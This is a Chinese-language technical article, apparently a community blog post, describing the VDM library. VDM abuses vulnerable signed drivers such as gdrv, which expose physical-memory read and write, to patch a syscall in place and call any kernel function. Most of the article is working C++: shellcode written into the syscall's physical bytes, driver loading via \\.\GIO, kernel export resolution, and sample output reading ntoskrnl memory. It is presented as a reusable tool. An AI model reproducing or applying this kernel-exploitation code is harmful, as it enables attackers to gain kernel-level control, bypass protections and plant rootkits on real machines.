每次在物理内存中发现 NtGdiDdDDICreateContext 的字节时,都会进行测试以确定是否已找到正确的内存。这个测试在 NtGdiDdDDICreateContext 的前几条指令上放置了一些汇编代码。然后调用 NtGdiDdDDICreateContext 来查看是否执行了所需的指令。最后不管情况如何,原始字节都被恢复了。
bool vdm_ctx::valid_syscall(void* syscall_addr) const
{
static std::mutex syscall_mutex;
syscall_mutex.lock();
static const auto proc =
GetProcAddress(
LoadLibraryA(syscall_hook.second),
syscall_hook.first
);
// 0: 48 31 c0 xor rax, rax
// 3 : c3 ret
constexpr std::uint8_t shellcode[] = { 0x48, 0x31, 0xC0, 0xC3 };
std::uint8_t orig_bytes[sizeof shellcode];
// save original bytes and install shellcode...
vdm::read_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
vdm::write_phys(syscall_addr, shellcode, sizeof shellcode);
auto result = reinterpret_cast<NTSTATUS(__fastcall*)(void)>(proc)();
vdm::write_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
syscall_mutex.unlock();
return result == STATUS_SUCCESS;
}
现在我们知道了 NtGdiDdDDICreateContext 的例程在物理内存中的正确位置;每次我们想调用内核中的特定函数时,我们可以在函数的开头安装一个内联钩子,然后在系统调用完成后恢复原始字节。在内核中定位特定的例程可以通过简单的算术来完成。内核模块基地址的位置可以通过 NtQuerySystemInformation 使用 SystemModuleInformation 简单地获得。这允许我们计算我们想要的任何内核函数的绝对虚拟地址。只需加载包含所需功能的驱动程序,然后从加载的驱动程序的基地址中减去它的地址,就可以生成相对虚拟地址。随后,可以对内核模块的基地址应用逆运算(加法)以产生所需函数的绝对内核虚拟地址。结合内联挂钩 NtGdiDdDDICreateContext 的能力,这允许 VDM 用户调用他们想要的任何内核函数。
VDM 允许程序员轻松地将易受攻击的驱动程序集成到项目中,只需编写项目其余部分使用的四个函数即可。VDM 工作所需的四个函数是:vdm::load_drv、vdm::unload_drv、vdm::read_phys 和 vdm::write_phys。一旦对这些功能进行了适当的编程,库将负责其余的工作。大多数驱动程序映射和取消映射物理内存,因此在编程时 vdm::read_phys 和 vdm::write_phys 映射物理内存,使用 memcpy,然后取消映射物理内存。
目前该项目配置为使用 gdrv,但如果要换出驱动程序,则必须定义四个函数。您还可以通过更改vdm_ctx/vdm_ctx.h
.
// change this to whatever you want :^)
constexpr std::pair<const char*, const char*> syscall_hook = { "NtShutdownSystem`", "ntdll.dll" };
将此函数替换为加载驱动程序所需的代码……返回一个包含驱动程序句柄的 std::pair 和一个包含驱动程序注册表项名称的 std::string。键名是从loadup返回的。
__forceinline auto load_drv() -> std::pair <HANDLE, std::string>
{
const auto [result, key] =
driver::load(
vdm::raw_driver,
sizeof(vdm::raw_driver)
);
if (!result) return { {}, {} };
vdm::drv_handle = CreateFile(
"\\\\.\\GIO",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
return { vdm::drv_handle, key };
}
这段代码可能不会改变,它只是一个包装函数driver::unload
,但它也会在尝试卸载驱动程序之前关闭驱动程序句柄......
__forceinline bool unload_drv(HANDLE drv_handle, std::string drv_key)
{
return CloseHandle(drv_handle) && driver::unload(drv_key);
}
大多数驱动程序都会公开物理内存的映射。这意味着您需要映射物理内存,对其进行 memcpy,然后取消映射。这允许支持实际上只提供物理读写而不是物理映射/取消映射的驱动程序。
__forceinline bool read_phys(void* addr, void* buffer, std::size_t size)
{
// code to read physical memory. most drivers offer map/unmap physical
// so you will need to map the physical memory, memcpy, then unmap the memory
}
vdm::read_phys
除了 memcpy dest 和 src 交换之外,这个函数可能包含相同的代码......
__forceinline bool write_phys(void* addr, void* buffer, std::size_t size)
{
// code to write physical memory... same code as vdm::read_phys
// except memcpy dest and src are swapped.
}
// read physical memory using the driver...
vdm::read_phys_t _read_phys =
[&](void* addr, void* buffer, std::size_t size) -> bool
{
return vdm::read_phys(addr, buffer, size);
};
// write physical memory using the driver...
vdm::write_phys_t _write_phys =
[&](void* addr, void* buffer, std::size_t size) -> bool
{
return vdm::write_phys(addr, buffer, size);
};
vdm::vdm_ctx vdm(_read_phys, _write_phys);
const auto ntoskrnl_base =
reinterpret_cast<void*>(
util::get_module_base("ntoskrnl.exe"));
const auto ntoskrnl_memcpy =
util::get_kernel_export("ntoskrnl.exe", "memcpy");
std::printf("[+] drv_handle -> 0x%x, drv_key -> %s\n", drv_handle, drv_key.c_str());
std::printf("[+] %s physical address -> 0x%p\n", vdm::syscall_hook.first, vdm::syscall_address.load());
std::printf("[+] ntoskrnl base address -> 0x%p\n", ntoskrnl_base);
std::printf("[+] ntoskrnl memcpy address -> 0x%p\n", ntoskrnl_memcpy);
short mz_bytes = 0;
vdm.syscall<decltype(&memcpy)>(
ntoskrnl_memcpy,
&mz_bytes,
ntoskrnl_base,
sizeof mz_bytes
);
std::printf("[+] kernel MZ -> 0x%x\n", mz_bytes);
上面显示的代码的结果应该如下:
[+] drv_handle -> 0x100, drv_key -> frAQBc8Wsa1xVPfv
[+] NtShutdownSystem physical address -> 0x0000000002D0B1A0
[+] NtShutdownSystem page offset -> 0x1a0
[+] ntoskrnl base address -> 0xFFFFF80456400000
[+] ntoskrnl memcpy address -> 0xFFFFF804565D5A80
[+] kernel MZ -> 0x5a4d
[+] press any key to close...
VDM 抽象了易受攻击的驱动程序的概念,该驱动程序将物理内存读写暴露给一种方法,您可以在该方法中调用您想要的任何内核函数。暴露此原语的大量易受攻击的驱动程序允许 VDM 更加模块化,因此比其他公共选项更具吸引力。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。